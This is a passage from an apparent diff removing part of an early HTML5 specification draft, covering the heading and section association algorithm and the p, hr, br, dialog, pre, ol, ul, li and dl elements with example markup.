-    <code><a href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code>
-    elements, <code><a href="#header0">header</a></code> elements, the node
-    itself, and sectioning elements other than <code><a
-    href="#blockquote0">blockquote</a></code> elements. (Descendants of any
-    of the nodes in this view can be ignored, as can any node later in the
-    tree than the node in question, as the algorithm below merely walks
-    backwards up this view.)
-
-   <li>Let <var title="">n</var> be an iterator for this view, initialised at
-    the node in question.
-
-   <li>Let <var title="">c</var> be the current best candidate heading,
-    initially null, and initially not used. It is used when top-level heading
-    candidates are to be searched for (see below).
-
-   <li>Repeat these steps (which effectively goes backwards through the
-    node's previous siblings) until an answer is found:
-    <ol>
-     <li>If <var title="">n</var> points to a node with no previous sibling,
-      and <var title="">c</var> is null, then return the node's parent node
-      as the answer. If the node has no parent node, return null as the
-      answer.
-
-     <li>Otherwise, if <var title="">n</var> points to a node with no
-      previous sibling, return <var title="">c</var> as the answer.
-
-     <li>Adjust <var title="">n</var> so that it points to the previous
-      sibling of the current position.
-
-     <li>If <var title="">n</var> is pointing at an <code><a
-      href="#h10">h1</a></code> or <code><a href="#header0">header</a></code>
-      element, then return that element as the answer.
-
-     <li>If <var title="">n</var> is pointing at an <code><a
-      href="#h20">h2</a></code>-<code><a href="#h60">h6</a></code> element,
-      and heading candidates are not being searched for, then return that
-      element as the answer.
-
-     <li>Otherwise, if <var title="">n</var> is pointing at an <code><a
-      href="#h20">h2</a></code>-<code><a href="#h60">h6</a></code> element,
-      and either <var title="">c</var> is still null, or <var
-      title="">c</var> is a heading of lower <a href="#rank">rank</a> than
-      this one, then set <var title="">c</var> to be this element, and
-      continue going backwards through the previous siblings.
-
-     <li>If <var title="">n</var> is pointing at a sectioning element, then
-      from this point on top-level heading candidates are being searched for.
-      (Specifically, we are looking for the nearest top-level header for the
-      current section.) Continue going backwards through the previous
-      siblings.
-    </ol>
-
-   <li>If the answer from the previous step (the loop) is null, which can
-    only happen if the node has no preceeding headings and is not contained
-    in a sectioning element, then there is no associated heading and no
-    associated section.
-
-   <li>Otherwise, if the answer from the earlier loop step is a sectioning
-    element, then the associated section is that element and the associated
-    heading is that sectioning element's associated heading (i.e. repeat this
-    algorithm for that section).
-
-   <li>Otherwise, if the answer from that same earlier step is an <code><a
-    href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code> element or a
-    <code><a href="#header0">header</a></code> element, then the associated
-    heading is that element and the associated section is that heading
-    element's associated section (i.e. repeat this algorithm for that
-    heading).
-  </ol>
-
-  <p class=note>Not all nodes have an associated header or section. For
-   example, if a section is implied, as when multiple headers are found in
-   one sectioning element, then a node in that section has an anonymous
-   associated section (its section is not represented by a real element), and
-   the algorithm above does not associate that node with any particular
-   sectioning element.
-
-  <div class=example>
-   <p>For the following fragment:</p>
-
-   <pre>AMPERSANDlt;bodyAMPERSANDgt;
- AMPERSANDlt;h1AMPERSANDgt;XAMPERSANDlt;/h1AMPERSANDgt;
- AMPERSANDlt;h2AMPERSANDgt;XAMPERSANDlt;/h2AMPERSANDgt;
- AMPERSANDlt;blockquoteAMPERSANDgt;
-  AMPERSANDlt;h3AMPERSANDgt;XAMPERSANDlt;/h3AMPERSANDgt;
- AMPERSANDlt;/blockquoteAMPERSANDgt;
- AMPERSANDlt;p id="a"AMPERSANDgt;XAMPERSANDlt;/pAMPERSANDgt;
- AMPERSANDlt;h4AMPERSANDgt;Text Node AAMPERSANDlt;/h4AMPERSANDgt;
- AMPERSANDlt;sectionAMPERSANDgt;
-  AMPERSANDlt;h5AMPERSANDgt;XAMPERSANDlt;/h5AMPERSANDgt;
- AMPERSANDlt;/sectionAMPERSANDgt;
- AMPERSANDlt;pAMPERSANDgt;Text Node BAMPERSANDlt;/pAMPERSANDgt;
-AMPERSANDlt;/bodyAMPERSANDgt;</pre>
-
-   <p>The associations are as follows (not all associations are shown):</p>
-
-   <table>
-    <thead>
-     <tr>
-      <th>Node
-
-      <th>Associated heading
-
-      <th>Associated section
-
-    <tbody>
-     <tr>
-      <td><code>AMPERSANDlt;bodyAMPERSANDgt;</code>
-
-      <td><code>AMPERSANDlt;h1AMPERSANDgt;</code>
-
-      <td><code>AMPERSANDlt;bodyAMPERSANDgt;</code>
-
-     <tr>
-      <td><code>AMPERSANDlt;h1AMPERSANDgt;</code>
-
-      <td><code>AMPERSANDlt;h1AMPERSANDgt;</code>
-
-      <td><code>AMPERSANDlt;bodyAMPERSANDgt;</code>
-
-     <tr>
-      <td><code>AMPERSANDlt;h2AMPERSANDgt;</code>
-
-      <td><code>AMPERSANDlt;h2AMPERSANDgt;</code>
-
-      <td>None.
-
-     <tr>
-      <td><code>AMPERSANDlt;blockquoteAMPERSANDgt;</code>
-
-      <td><code>AMPERSANDlt;h2AMPERSANDgt;</code>
-
-      <td>None.
-
-     <tr>
-      <td><code>AMPERSANDlt;h3AMPERSANDgt;</code>
-
-      <td><code>AMPERSANDlt;h3AMPERSANDgt;</code>
-
-      <td><code>AMPERSANDlt;blockquoteAMPERSANDgt;</code>
-
-     <tr>
-      <td><code>AMPERSANDlt;p id="a"AMPERSANDgt;</code>
-
-      <td><code>AMPERSANDlt;h2AMPERSANDgt;</code>
-
-      <td>None.
-
-     <tr>
-      <td><code>Text Node A</code>
-
-      <td><code>AMPERSANDlt;h4AMPERSANDgt;</code>
-
-      <td>None.
-
-     <tr>
-      <td><code>Text Node B</code>
-
-      <td><code>AMPERSANDlt;h1AMPERSANDgt;</code>
-
-      <td><code>AMPERSANDlt;bodyAMPERSANDgt;</code>
-   </table>
-  </div>
-
-  <h3 id=prose><span class=secno>3.9. </span>Prose</h3>
-
-  <h4 id=the-p><span class=secno>3.9.1. </span>The <dfn
-   id=p0><code>p</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd><a href="#significant" title="significant inline
-    content">Significant</a> <a href="#inline-level1">inline-level
-    content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd><code title=class-copyright><a
-    href="#copyright0">copyright</a></code>, <code title=class-error><a
-    href="#error0">error</a></code>, <code title=class-example><a
-    href="#example1">example</a></code>, <code title=class-issue><a
-    href="#issue0">issue</a></code>, <code title=class-note><a
-    href="#note0">note</a></code>, <code title=class-search><a
-    href="#search1">search</a></code>, <code title=class-warning><a
-    href="#warning0">warning</a></code>
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#p0">p</a></code> element represents a <a
-   href="#paragraph">paragraph</a>.
-
-  <p><code><a href="#p0">p</a></code> elements can contain a mixture of <a
-   href="#strictly">strictly inline-level content</a>, such as text, images,
-   hyperlinks, etc, and <a href="#structured">structured inline-level
-   elements</a>, such as lists, tables, and block quotes. <code><a
-   href="#p0">p</a></code> elements must not be <a href="#significant"
-   title="significant inline content">empty</a>.
-
-  <div class=example>
-   <p>The following examples are conforming HTML fragments:</p>
-
-   <pre>AMPERSANDlt;pAMPERSANDgt;The little kitten gently seated himself on a piece of
-carpet. Later in his life, this would be referred to as the time the
-cat sat on the mat.AMPERSANDlt;/pAMPERSANDgt;</pre>
-
-   <pre>AMPERSANDlt;fieldsetAMPERSANDgt;
- AMPERSANDlt;legendAMPERSANDgt;Personal informationAMPERSANDlt;/legendAMPERSANDgt;
- AMPERSANDlt;pAMPERSANDgt;
-   AMPERSANDlt;labelAMPERSANDgt;Name: AMPERSANDlt;input name="n"AMPERSANDgt;AMPERSANDlt;/labelAMPERSANDgt;
-   AMPERSANDlt;labelAMPERSANDgt;AMPERSANDlt;input name="anon" type="checkbox"AMPERSANDgt; Hide from other usersAMPERSANDlt;/labelAMPERSANDgt;
- AMPERSANDlt;/pAMPERSANDgt;
- AMPERSANDlt;pAMPERSANDgt;AMPERSANDlt;labelAMPERSANDgt;Address: AMPERSANDlt;textarea name="a"AMPERSANDgt;AMPERSANDlt;/textareaAMPERSANDgt;AMPERSANDlt;/labelAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;
-AMPERSANDlt;/fieldsetAMPERSANDgt;</pre>
-
-   <pre>AMPERSANDlt;pAMPERSANDgt;There was once an example from Femley,AMPERSANDlt;brAMPERSANDgt;
-Whose markup was of dubious quality.AMPERSANDlt;brAMPERSANDgt;
-The validator complained,AMPERSANDlt;brAMPERSANDgt;
-So the author was pained,AMPERSANDlt;brAMPERSANDgt;
-To move the error from the markup to the rhyming.AMPERSANDlt;/pAMPERSANDgt;</pre>
-  </div>
-
-  <p>The <code><a href="#p0">p</a></code> element should not be used when a
-   more specific element is more appropriate.
-
-  <div class=example>
-   <p>The following example is technically correct:</p>
-
-   <pre>AMPERSANDlt;sectionAMPERSANDgt;
- AMPERSANDlt;!-- ... --AMPERSANDgt;
- AMPERSANDlt;pAMPERSANDgt;Last modified: 2001-04-23AMPERSANDlt;/pAMPERSANDgt;
- AMPERSANDlt;pAMPERSANDgt;Author: fred@example.comAMPERSANDlt;/pAMPERSANDgt;
-AMPERSANDlt;/sectionAMPERSANDgt;</pre>
-
-   <p>However, it would be better marked-up as:</p>
-
-   <pre>AMPERSANDlt;sectionAMPERSANDgt;
- AMPERSANDlt;!-- ... --AMPERSANDgt;
- AMPERSANDlt;footerAMPERSANDgt;Last modified: 2001-04-23AMPERSANDlt;/footerAMPERSANDgt;
- AMPERSANDlt;addressAMPERSANDgt;Author: fred@example.comAMPERSANDlt;/addressAMPERSANDgt;
-AMPERSANDlt;/sectionAMPERSANDgt;</pre>
-
-   <p>Or:</p>
-
-   <pre>AMPERSANDlt;sectionAMPERSANDgt;
- AMPERSANDlt;!-- ... --AMPERSANDgt;
- AMPERSANDlt;footerAMPERSANDgt;
-  AMPERSANDlt;pAMPERSANDgt;Last modified: 2001-04-23AMPERSANDlt;/pAMPERSANDgt;
-  AMPERSANDlt;addressAMPERSANDgt;Author: fred@example.comAMPERSANDlt;/addressAMPERSANDgt;
- AMPERSANDlt;/footerAMPERSANDgt;
-AMPERSANDlt;/sectionAMPERSANDgt;</pre>
-  </div>
-
-  <h4 id=the-hr><span class=secno>3.9.2. </span>The <dfn
-   id=hr0><code>hr</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd>Empty.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#hr0">hr</a></code> element represents a <a
-   href="#paragraph">paragraph</a>-level thematic break, e.g. a scene change
-   in a story, or a transition to another topic within a section of a
-   reference book.
-
-  <h4 id=the-br><span class=secno>3.9.3. </span>The <dfn
-   id=br0><code>br</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>Empty.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#br0">br</a></code> element represents a line break.
-
-  <p><code><a href="#br0">br</a></code> elements must be empty. Any content
-   inside <code><a href="#br0">br</a></code> elements must not be considered
-   part of the surrounding text.
-
-  <p><code><a href="#br0">br</a></code> elements must only be used for line
-   breaks that are actually part of the content, as in poems or addresses.
-
-  <div class=example>
-   <p>The following example is correct usage of the <code><a
-    href="#br0">br</a></code> element:</p>
-
-   <pre>AMPERSANDlt;pAMPERSANDgt;P. ShermanAMPERSANDlt;brAMPERSANDgt;
-42 Wallaby WayAMPERSANDlt;brAMPERSANDgt;
-SydneyAMPERSANDlt;/pAMPERSANDgt;</pre>
-  </div>
-
-  <p><code><a href="#br0">br</a></code> elements must not be used for
-   separating thematic groups in a paragraph.
-
-  <div class=example>
-   <p>The following examples are non-conforming, as they abuse the <code><a
-    href="#br0">br</a></code> element:</p>
-
-   <pre>AMPERSANDlt;pAMPERSANDgt;AMPERSANDlt;a ...AMPERSANDgt;34 comments.AMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;brAMPERSANDgt;
-AMPERSANDlt;a ...AMPERSANDgt;Add a comment.AMPERSANDlt;aAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;</pre>
-
-   <pre>AMPERSANDlt;pAMPERSANDgt;Name: AMPERSANDlt;input name="name"AMPERSANDgt;AMPERSANDlt;brAMPERSANDgt;
-Address: AMPERSANDlt;input name="address"AMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;</pre>
-
-   <p>Here are alternatives to the above, which are correct:</p>
-
-   <pre>AMPERSANDlt;pAMPERSANDgt;AMPERSANDlt;a ...AMPERSANDgt;34 comments.AMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;
-AMPERSANDlt;pAMPERSANDgt;AMPERSANDlt;a ...AMPERSANDgt;Add a comment.AMPERSANDlt;aAMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;</pre>
-
-   <pre>AMPERSANDlt;pAMPERSANDgt;Name: AMPERSANDlt;input name="name"AMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;
-AMPERSANDlt;pAMPERSANDgt;Address: AMPERSANDlt;input name="address"AMPERSANDgt;AMPERSANDlt;/pAMPERSANDgt;</pre>
-   <!-- XXX should have labels in the examples above --></div>
-
-  <h4 id=the-dialog><span class=secno>3.9.4. </span>The <dfn
-   id=dialog0><code>dialog</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dt>Content model:
-
-   <dd>Zero or more pairs of <code><a href="#dt0">dt</a></code> and <code><a
-    href="#dd0">dd</a></code> elements.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#dialog0">dialog</a></code> element represents a
-   conversation.
-
-  <p>Each part of the conversation must have an explicit talker (or speaker)
-   given by a <code><a href="#dt0">dt</a></code> element, and a discourse (or
-   quote) given by a <code><a href="#dd0">dd</a></code> element.
-
-  <div class=example>
-   <p>This example demonstrates this using an extract from Abbot and
-    Costello's famous sketch, <cite>Who's on first</cite>:</p>
-
-   <pre>AMPERSANDlt;dialog>
- AMPERSANDlt;dt>Costello
- AMPERSANDlt;dd> Look, you gotta first baseman?
- AMPERSANDlt;dt> Abbott
- AMPERSANDlt;dd> Certainly.
- AMPERSANDlt;dt> Costello
- AMPERSANDlt;dd> Who's playing first?
- AMPERSANDlt;dt> Abbott
- AMPERSANDlt;dd> That's right.
- AMPERSANDlt;dt> Costello
- AMPERSANDlt;dd> When you pay off the first baseman every month, who gets the money?
- AMPERSANDlt;dt> Abbott
- AMPERSANDlt;dd> Every dollar of it. 
-AMPERSANDlt;/dialog></pre>
-  </div>
-
-  <p class=note>Text in a <code><a href="#dt0">dt</a></code> element in a
-   <code><a href="#dialog0">dialog</a></code> element is implicitly the
-   source of the text given in the following <code><a
-   href="#dd0">dd</a></code> element, and the contents of the <code><a
-   href="#dd0">dd</a></code> element are implicitly a quote from that
-   speaker. There is thus no need to include <code><a
-   href="#cite3">cite</a></code>, <code><a href="#q0">q</a></code>, or
-   <code><a href="#blockquote0">blockquote</a></code> elements in this
-   markup. Indeed, a <code><a href="#q0">q</a></code> element inside a
-   <code><a href="#dd0">dd</a></code> element in a conversation would
-   actually imply the person talking were themselves quoting someone else.
-   See the <code><a href="#cite3">cite</a></code>, <code><a
-   href="#q0">q</a></code>, and <code><a
-   href="#blockquote0">blockquote</a></code> elements for other ways to cite
-   or quote.
-
-  <h3 id=preformatted><span class=secno>3.10. </span>Preformatted text</h3>
-
-  <h4 id=the-pre><span class=secno>3.10.1. </span>The <dfn
-   id=pre0><code>pre</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>, and <a href="#structured" title="structured inline-level
-   elements">structured inline-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dd>Where <a href="#structured">structured inline-level elements</a> are
-    allowed.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#pre0">pre</a></code> element represents a block of
-   preformatted text, in which structure is represented by typographic
-   conventions rather than by elements.
-
-  <p>Some examples of cases where the <code><a href="#pre0">pre</a></code>
-   element could be used:
-
-  <ul>
-   <li>Including an e-mail, with paragraphs indicated by blank lines, lists
-    indicated by lines prefixed with a bullet, and so on.
-
-   <li>Including fragments of computer code, with structure indicated
-    according to the conventions of that language.
-
-   <li>Displaying ASCII art.</li>
-   <!-- XXX need a note about non-visual UAs -->
-  </ul>
-
-  <p>If, ignoring <a href="#text-node" title="text node">text nodes</a>
-   consisting only of <a href="#inter-element" title="inter-element
-   whitespace">whitespace</a>, the only child of a <code><a
-   href="#pre0">pre</a></code> is a <code><a href="#code0">code</a></code>
-   element, then the <code><a href="#pre0">pre</a></code> element represents
-   a block of computer code.
-
-  <p>If, ignoring <a href="#text-node" title="text node">text nodes</a>
-   consisting only of <a href="#inter-element" title="inter-element
-   whitespace">whitespace</a>, the only child of a <code><a
-   href="#pre0">pre</a></code> is a <code><a href="#samp0">samp</a></code>
-   element, then the <code><a href="#pre0">pre</a></code> element represents
-   a block of computer output.</p>
-  <!-- XXX examples -->
-
-  <h3 id=lists><span class=secno>3.11. </span>Lists</h3>
-
-  <h4 id=the-ol><span class=secno>3.11.1. </span>The <dfn
-   id=ol0><code>ol</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>, and <a href="#structured" title="structured inline-level
-   elements">structured inline-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dd>Where <a href="#structured">structured inline-level elements</a> are
-    allowed.
-
-   <dt>Content model:
-
-   <dd>Zero or more <code><a href="#li0">li</a></code> elements.
-
-   <dt>Element-specific attributes:
-
-   <dd><code><a href="#start0">start</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlolistelement>HTMLOListElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute long <a href="#start1" title=dom-start>start</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#ol0">ol</a></code> element represents an ordered
-   list of items (which are represented by <code><a href="#li0">li</a></code>
-   elements).
-
-  <p>The <dfn id=start0><code>start</code></dfn> attribute, if present, must
-   have a value that consists of an optional U+002D HYPHEN-MINUS followed by
-   one or more digits (U+0030 to U+0039) expressing a base ten integer giving
-   the ordinal value of the first list item.
-
-  <p>If the <code><a href="#start0">start</a></code> attribute is present,
-   user agents must <a href="#rules0" title="rules for parsing
-   integers">parse it as an integer</a>, in order to determine the
-   attribute's value. The default value, used if the attribute is missing or
-   if the value cannot be converted to a number according to the referenced
-   algorithm, is 1.
-
-  <p>The items of the list are the <code><a href="#li0">li</a></code> element
-   child nodes of the <code><a href="#ol0">ol</a></code> element, in <a
-   href="#tree-order">tree order</a>.
-
-  <p>The first item in the list has the ordinal value given by the <code><a
-   href="#ol0">ol</a></code> element's <code><a
-   href="#start0">start</a></code> attribute (unless it is further overridden
-   by that <code><a href="#li0">li</a></code> element's <code><a
-   href="#value">value</a></code> attribute).
-
-  <p>Each subsequent item in the list has the ordinal value given by its
-   <code><a href="#value">value</a></code> attribute, if it has one, or, if
-   it doesn't, the ordinal value of the previous item, plus one.
-
-  <p>The <dfn id=start1 title=dom-start><code>start</code></dfn> DOM
-   attribute must <a href="#reflect">reflect</a> the value of the <code><a
-   href="#start0">start</a></code> content attribute.</p>
-  <!-- XXX resuming numbering of lists from previous lists? -->
-  <!-- XXX counting up and down? -->
-  <!-- XXX reverse-counted lists? -->
-
-  <h4 id=the-ul><span class=secno>3.11.2. </span>The <dfn
-   id=ul0><code>ul</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>, and <a href="#structured" title="structured inline-level
-   elements">structured inline-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dd>Where <a href="#structured">structured inline-level elements</a> are
-    allowed.
-
-   <dt>Content model:
-
-   <dd>Zero or more <code><a href="#li0">li</a></code> elements.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#ul0">ul</a></code> element represents an unordered
-   list of items (which are represented by <code><a href="#li0">li</a></code>
-   elements).
-
-  <p>The items of the list are the <code><a href="#li0">li</a></code> element
-   child nodes of the <code><a href="#ul0">ul</a></code> element.
-
-  <h4 id=the-li><span class=secno>3.11.3. </span>The <dfn
-   id=li0><code>li</code></dfn> element</h4>
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Inside <code><a href="#ol0">ol</a></code> elements.
-
-   <dd>Inside <code><a href="#ul0">ul</a></code> elements.
-
-   <dd>Inside <code><a href="#menu0">menu</a></code> elements.
-
-   <dt>Content model:
-
-   <dd>When the element is a child of an <code><a href="#ol0">ol</a></code>
-    or <code><a href="#ul0">ul</a></code> element and the grandchild of an
-    element that is <a href="#determining2" title="Determining if a
-    particular element contains block-level elements or inline-level
-    content">being used as an inline-level content container</a>, or, when
-    the element is a child of a <code><a href="#menu0">menu</a></code>
-    element: <a href="#inline-level1">inline-level content</a>.
-
-   <dd>Otherwise: zero or more <a href="#block-level1">block-level
-    elements</a>, or <a href="#inline-level1">inline-level content</a> (but
-    not both).
-
-   <dt>Element-specific attributes:
-
-   <dd>If the element is a child of an <code><a href="#ol0">ol</a></code>
-    element: <code><a href="#value">value</a></code>
-
-   <dd>If the element is not the child of an <code><a
-    href="#ol0">ol</a></code> element: None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmllielement>HTMLLIElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute long <a href="#value0" title=dom-li-value>value</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#li0">li</a></code> element represents a list item.
-   If its parent element is an <code><a href="#ol0">ol</a></code>, <code><a
-   href="#ul0">ul</a></code>, or <code><a href="#menu0">menu</a></code>
-   element, then the element is an item of the parent element's list, as
-   defined for those elements. Otherwise, the list item has no defined
-   list-related relationship to any other <code><a href="#li0">li</a></code>
-   element.
-
-  <p>When the list item is the child of an <code><a href="#ol0">ol</a></code>
-   or <code><a href="#ul0">ul</a></code> element, the content model of the
-   item depends on the way that parent element was used. If it was used as
-   structured inline content (i.e. if <em>that</em> element's parent was <a
-   href="#determining2" title="Determining if a particular element contains
-   block-level elements or inline-level content">used as an inline-level
-   content</a> container), then the <code><a href="#li0">li</a></code>
-   element must only contain <a href="#inline-level1">inline-level
-   content</a>. Otherwise, the element may be used either for <a
-   href="#inline-level1" title="inline-level content">inline content</a> or
-   <a href="#block-level1">block-level elements</a>.
-
-  <p>When the list item is the child of a <code><a
-   href="#menu0">menu</a></code> element, the <code><a
-   href="#li0">li</a></code> element must contain only <a
-   href="#inline-level1">inline-level content</a>.
-
-  <p>When the list item is not the child of an <code><a
-   href="#ol0">ol</a></code>, <code><a href="#ul0">ul</a></code>, or <code><a
-   href="#menu0">menu</a></code> element, e.g. because it is an orphaned node
-   not in the document, it may contain either for <a href="#inline-level1"
-   title="inline-level content">inline content</a> or <a
-   href="#block-level1">block-level elements</a>.
-
-  <p>When <a href="#determining2" title="Determining if a particular element
-   contains block-level elements or inline-level content">used as an
-   inline-level content</a> container, the list item represents a single <a
-   href="#paragraph">paragraph</a>.</p>
-  <!-- XXX instead refer to microsyntaxes -->
-
-  <p>The <dfn id=value><code>value</code></dfn> attribute, if present, must
-   have a value that consists of an optional U+002D HYPHEN-MINUS followed by
-   one or more digits (U+0030 to U+0039) expressing a base ten integer giving
-   the ordinal value of the first list item.
-
-  <p>If the <code><a href="#value">value</a></code> attribute is present,
-   user agents must <a href="#rules0" title="rules for parsing
-   integers">parse it as an integer</a>, in order to determine the
-   attribute's value. If the attribute's value cannot be converted to a
-   number, it is treated as if the attribute was absent. The attribute has no
-   default value.
-
-  <p>The <code><a href="#value">value</a></code> attribute is processed
-   relative to the element's parent <code><a href="#ol0">ol</a></code>
-   element, if there is one. If there is not, the attribute has no effect.
-
-  <p>The <dfn id=value0 title=dom-li-value><code>value</code></dfn> DOM
-   attribute must <a href="#reflect">reflect</a> the value of the <code><a
-   href="#value">value</a></code> content attribute.
-
-  <h4 id=the-dl><span class=secno>3.11.4. </span>The <dfn
-   id=dl0><code>dl</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>, and <a href="#structured" title="structured inline-level
-   elements">structured inline-level element</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> are expected.
-
-   <dd>Where <a href="#structured">structured inline-level elements</a> are
-    allowed.
-
-   <dt>Content model:
-
-   <dd>Zero or more groups each consisting of one or more <code><a
-    href="#dt0">dt</a></code> elements followed by one or mode <code><a
-    href="#dd0">dd</a></code> elements.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#dl0">dl</a></code> element introduces an unordered
-   association list consisting of zero or more name-value groups (a
-   description list). Each group must consist of one or more names (<code><a
-   href="#dt0">dt</a></code> elements) followed by one or more values
-   (<code><a href="#dd0">dd</a></code> elements).
-
-  <p>Name-value groups may be terms and definitions, metadata topics and
-   values, or any other groups of name-value data.
-
-  <div class=example>
-   <p>The following are all conforming HTML fragments.</p>
-
-   <p>In the following example, one entry ("Authors") is linked to two values
-    ("John" and "Luke").</p>
-
-   <pre>AMPERSANDlt;dlAMPERSANDgt;
- AMPERSANDlt;dtAMPERSANDgt; Authors
- AMPERSANDlt;ddAMPERSANDgt; John
- AMPERSANDlt;ddAMPERSANDgt; Luke
- AMPERSANDlt;dtAMPERSANDgt; Editor
- AMPERSANDlt;ddAMPERSANDgt; Frank
-AMPERSANDlt;/dlAMPERSANDgt;</pre>
-
-   <p>In the following example, one definition is linked to two terms.</p>
-
-   <pre>AMPERSANDlt;dlAMPERSANDgt;
- AMPERSANDlt;dt lang="en-US"AMPERSANDgt; AMPERSANDlt;dfn>colorAMPERSANDlt;/dfn> AMPERSANDlt;/dtAMPERSANDgt;
- AMPERSANDlt;dt lang="en-GB"AMPERSANDgt; AMPERSANDlt;dfn>colourAMPERSANDlt;/dfn> AMPERSANDlt;/dtAMPERSANDgt;
- AMPERSANDlt;ddAMPERSANDgt; A sensation which (in humans) derives from the ability of
- the fine structure of the eye to distinguish three differently
- filtered analyses of a view. AMPERSANDlt;/ddAMPERSANDgt;
-AMPERSANDlt;/dlAMPERSANDgt;</pre>
-
-   <p>The following example illustrates the use of the <code><a
-    href="#dl0">dl</a></code> element to mark up metadata of sorts. At the
-    end of the example, one group has two metadata labels ("Authors" and
-    "Editors") and two values ("Robert Rothman" and "Daniel Jackson").</p>
-
-   <pre>AMPERSANDlt;dlAMPERSANDgt;
- AMPERSANDlt;dtAMPERSANDgt; Last modified time AMPERSANDlt;/dtAMPERSANDgt;
- AMPERSANDlt;ddAMPERSANDgt; 2004-12-23T23:33Z AMPERSANDlt;/ddAMPERSANDgt;
- AMPERSANDlt;dtAMPERSANDgt; Recommended update interval AMPERSANDlt;/dtAMPERSANDgt;
- AMPERSANDlt;ddAMPERSANDgt; 60s AMPERSANDlt;/ddAMPERSANDgt;
- AMPERSANDlt;dtAMPERSANDgt; Authors AMPERSANDlt;/dtAMPERSANDgt;
- AMPERSANDlt;dtAMPERSANDgt; Editors AMPERSANDlt;/dtAMPERSANDgt;
- AMPERSANDlt;ddAMPERSANDgt; Robert Rothman AMPERSANDlt;/ddAMPERSANDgt;
- AMPERSANDlt;ddAMPERSANDgt; Daniel Jackson AMPERSANDlt;/ddAMPERSANDgt;
-AMPERSANDlt;/dlAMPERSANDgt;</pre>
-  </div>
-
